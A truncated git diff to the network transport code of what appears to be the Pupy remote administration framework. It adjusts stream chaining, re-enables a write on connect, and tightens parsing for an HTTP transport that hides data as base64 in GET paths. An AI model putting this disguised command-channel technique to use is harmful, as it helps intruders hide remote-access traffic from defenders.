diff --git a/pupy/network/base.py b/pupy/network/base.py index 58e0a204..eb9a205a 100644 --- a/pupy/network/base.py +++ b/pupy/network/base.py @@ -109,9 +109,6 @@ class TransportWrapper(BasePupyTransport): #downstream chaining : self.insts[0].downstream=self.downstream self.insts[0].circuit.downstream=self.downstream - #overloading len of buffer with the max of all chained buff - #self.upstream.overload_len = (lambda s:max([len(x.upstream.buffer) for x in self.insts])) - #self.downstream.overload_len = (lambda s:max([len(x.downstream.buffer) for x in self.insts])) def on_connect(self): for ins in self.insts: diff --git a/pupy/network/streams/PupySocketStream.py b/pupy/network/streams/PupySocketStream.py index b33c1e40..3cabdcce 100644 --- a/pupy/network/streams/PupySocketStream.py +++ b/pupy/network/streams/PupySocketStream.py @@ -44,7 +44,7 @@ class PupySocketStream(SocketStream): def on_connect(self): self.transport.on_connect() - #super(PupySocketStream, self).write(self.downstream.read()) + super(PupySocketStream, self).write(self.downstream.read()) def _read(self): try: diff --git a/pupy/network/transports/http.py b/pupy/network/transports/http.py index 8b969830..2789f648 100644 --- a/pupy/network/transports/http.py +++ b/pupy/network/transports/http.py @@ -26,6 +26,8 @@ def http_req2data(s): if not s.startswith("GET "): raise InvalidHTTPReq() first_line=s.split("\r\n")[0] + if not first_line.endswith(" HTTP/1.1"): + raise InvalidHTTPReq() method, path, http_ver=first_line.split() try: decoded_data=base64.b64decode(path[1:]) @@ -101,7 +103,7 @@ class PupyHTTPClient(PupyHTTPTransport): if name=="Content-Length": content_length=int(value) break - if content_length is None: + if content_length is None or len(rest)